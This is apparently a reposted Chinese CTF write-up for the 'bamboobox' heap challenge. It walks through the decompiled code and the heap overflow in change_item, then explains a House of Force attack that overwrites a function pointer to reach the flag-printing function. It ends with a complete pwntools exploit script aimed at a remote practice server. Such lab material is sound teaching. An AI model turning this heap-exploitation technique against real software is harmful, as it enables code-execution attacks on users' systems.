zoukankan      html  css  js  c++  java
  • hitcontraining_bamboobox 堆技巧 House of Force

    常规检查

    逆向分析

    There is a box with magic
    what do you want to do in the box
    ----------------------------
    Bamboobox Menu
    ----------------------------
    1.show the items in the box
    2.add a new item
    3.change the item in the box
    4.remove the item in the box
    5.exit
    ----------------------------
    Your choice:
    
    

    add 函数

    __int64 add_item()
    {
      signed int i; // [rsp+4h] [rbp-1Ch]
      int v2; // [rsp+8h] [rbp-18h]
      char buf; // [rsp+10h] [rbp-10h]
      unsigned __int64 v4; // [rsp+18h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      if ( num > 99 )
      {
        puts("the box is full");
      }
      else
      {
        printf("Please enter the length of item name:");
        read(0, &buf, 8uLL);
        v2 = atoi(&buf);
        if ( !v2 )
        {
          puts("invaild length");
          return 0LL;
        }
        for ( i = 0; i <= 99; ++i )
        {
          if ( !qword_6020C8[2 * i] )
          {
            *(&itemlist + 4 * i) = v2;
            qword_6020C8[2 * i] = malloc(v2);
            printf("Please enter the name of item:");
            *(qword_6020C8[2 * i] + read(0, qword_6020C8[2 * i], v2)) = 0;
            ++num;
            return 0LL;
          }
        }
      }
      return 0LL;
    }
    
    • *(&itemlist + 4 * i):存放 name 的大小
    • qword_6020C8[2 * i]:存放 chunk 的地址

    show 函数

    int show_item()
    {
      signed int i; // [rsp+Ch] [rbp-4h]
    
      if ( !num )
        return puts("No item in the box");
      for ( i = 0; i <= 99; ++i )
      {
        if ( qword_6020C8[2 * i] )
          printf("%d : %s", i, qword_6020C8[2 * i]);
      }
      return puts(byte_401089);
    }
    

      打印对应块的 mem 内容。

    change 函数

    unsigned __int64 change_item()
    {
      int v0; // ST08_4
      int v2; // [rsp+4h] [rbp-2Ch]
      char buf; // [rsp+10h] [rbp-20h]
      char nptr; // [rsp+20h] [rbp-10h]
      unsigned __int64 v5; // [rsp+28h] [rbp-8h]
    
      v5 = __readfsqword(0x28u);
      if ( num )
      {
        printf("Please enter the index of item:");
        read(0, &buf, 8uLL);
        v2 = atoi(&buf);
        if ( qword_6020C8[2 * v2] )
        {
          printf("Please enter the length of item name:", &buf);
          read(0, &nptr, 8uLL);
          v0 = atoi(&nptr);
          printf("Please enter the new name of the item:", &nptr);
          *(qword_6020C8[2 * v2] + read(0, qword_6020C8[2 * v2], v0)) = 0;
        }
        else
        {
          puts("invaild index");
        }
      }
      else
      {
        puts("No item in the box");
      }
      return __readfsqword(0x28u) ^ v5;
    }
    

      这里对输入的 size 没有做限制,所以我们只要输入的 size 比 add 时大,就会造成堆溢出。

    remove 函数

    unsigned __int64 remove_item()
    {
      int v1; // [rsp+Ch] [rbp-14h]
      char buf; // [rsp+10h] [rbp-10h]
      unsigned __int64 v3; // [rsp+18h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      if ( num )
      {
        printf("Please enter the index of item:");
        read(0, &buf, 8uLL);
        v1 = atoi(&buf);
        if ( qword_6020C8[2 * v1] )
        {
          free(qword_6020C8[2 * v1]);
          qword_6020C8[2 * v1] = 0LL;
          *(&itemlist + 4 * v1) = 0;
          puts("remove successful!!");
          --num;
        }
        else
        {
          puts("invaild index");
        }
      }
      else
      {
        puts("No item in the box");
      }
      return __readfsqword(0x28u) ^ v3;
    }
    

      chunk 指针和内容都被置 0 ,不存在利用漏洞。

    magic 函数

    id __noreturn magic()
    {
      int fd; // ST0C_4
      char buf; // [rsp+10h] [rbp-70h]
      unsigned __int64 v2; // [rsp+78h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      fd = open("/home/bamboobox/flag", 0);
      read(fd, &buf, 0x64uLL);
      close(fd);
      printf("%s", &buf);
      exit(0);
    }
    

      magic 函数可以打印出 flag 。

    main 函数

          case 5:
            (v3[1])(&buf, &buf);
            exit(0);
            return;
    

      当我们选择 5 退出时,函数会调用一次 v3[1] ,这个地方之前被写入了 goodbye_message 的函数地址,所以我们只要想办法把这个 v3[1] 覆盖为 magic 函数就能 get flag。

    利用思路

    1.通过 House of Force 攻击,将将 top chunk 的地址移到记录 goobdye_message 的 chunk 0 的地址。
    2.再次请求堆块,我们就能分配到 chunk 0 。
    3.我们改写 goodbye_message 为 magic 的地址。
    4.输入 5 触发 v3[1] 的调用,就能 get flag。

    利用过程

    add(0x30,'aaaa')
    

      此时内存 heap 如下

    0x22db000 FASTBIN {    chunk 0 
      prev_size = 0x0, 
      size = 0x21, 
      fd = 0x400896 <hello_message>, 
      bk = 0x4008b1 <goodbye_message>, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x41
    }
    0x22db020 FASTBIN {    chunk 1
      prev_size = 0x0, 
      size = 0x41, 
      fd = 0xa61616161, 
      bk = 0x0, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x0
    }
    0x22db060 PREV_INUSE { top chunk
      prev_size = 0x0, 
      size = 0x20fa1, 
      fd = 0x0, 
      bk = 0x0, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x0
    }
    
    

      我们可以看到,top chunk 到 chunk 0 的偏移为 -0x60 ,使用 house of force 技巧,我们需要绕过 request2size(req) 宏,这里由于 -0x60 是16字节对齐的,所以只要减去 SIZE_SZ 和 MALLOC_ALIGN_MASK 大小即可得出需要 malloc 的大小,然后我们再次分配就能分配到 chunk 0 处。

    payload = 0x30 * 'a'
    payload += 'a' * 8 + p64(0xffffffffffffffff)
    
    edit(0,0x41,payload)
    
    offset_to_heap_base = -(0x40 + 0x20)
    malloc_size = offset_to_heap_base - 0x8 -0xf
    
    add(malloc_size,'aaaa')
    add(0x10,p64(magic) * 2)
    

      我们可以看到,我们已经成功覆盖 goodbye_message 为 magic 的地址。

    0x25b4000 FASTBIN {
      prev_size = 0x0, 
      size = 0x21, 
      fd = 0x400d49 <magic>, 
      bk = 0x400d49 <magic>, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x39
    }
    0x25b4020 PREV_INUSE {
      prev_size = 0x0, 
      size = 0x39, 
      fd = 0x6161616161616161, 
      bk = 0x6161616161616161, 
      fd_nextsize = 0x6161616161616161, 
      bk_nextsize = 0x6161616161616161
    }
    0x25b4058 PREV_INUSE {
      prev_size = 0x6161616161616161, 
      size = 0x6161616161616161, 
      fd = 0xffffffffffffa1, 
      bk = 0xa, 
      fd_nextsize = 0x0, 
      bk_nextsize = 0x0
    }
    
    

      最后使 v3[1] 触发就能 get flag 。

    exp 脚本

    from pwn_debug import *
    
    context.log_level = 'debug'
    pdbg = pwn_debug('bamboobox')
    pdbg.local()
    pdbg.remote('node3.buuoj.cn',29127)
    r = pdbg.run('remote')
    
    def add(length,name):
    	r.recvuntil(":")
    	r.sendline('2')
    	r.recvuntil(':')
    	r.sendline(str(length))
    	r.recvuntil(":")
    	r.sendline(name)
    
    def edit(idx,length,name):
    	r.recvuntil(':')
    	r.sendline('3')
    	r.recvuntil(":")
    	r.sendline(str(idx))
    	r.recvuntil(":")
    	r.sendline(str(length))
    	r.recvuntil(':')
    	r.sendline(name)
    
    def remove(idx):
    	r.revcuntil(":")
    	r.sendline("4")
    	r.recvuntil(":")
    	r.sendline(str(idx))
    
    def show():
    	r.recvuntil(":")
    	r.sendline("1")
    
    magic = 0x400d49
    
    add(0x30,'aaaa')
    #gdb.attach(r)
    payload = 0x30 * 'a'
    payload += 'a' * 8 + p64(0xffffffffffffffff)
    
    edit(0,0x41,payload)
    
    offset_to_heap_base = -(0x40 + 0x20)
    malloc_size = offset_to_heap_base - 0x8 -0xf
    
    add(malloc_size,'aaaa')
    add(0x10,p64(magic) * 2)
    
    #gdb.attach(r)
    
    r.interactive()
    
    

    成功 get flag

    内容来源

    ctf-wiki house of force

  • 相关阅读:
    linux samba 配置
    实例解读 linux 网卡驱动
    Linux操作系统的安全管理设置
    找回Linux/Unix下各系统的密码
    CF441E Valera and Number
    CF1175F The Number of Subpermutations 题解
    CF1553 比赛记录
    P5618 [SDOI2015]道路修建 题解
    CF 1530 比赛记录
    AT2063 [AGC005E] Sugigma: The Showdown 题解
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12367365.html
Copyright © 2011-2022 走看看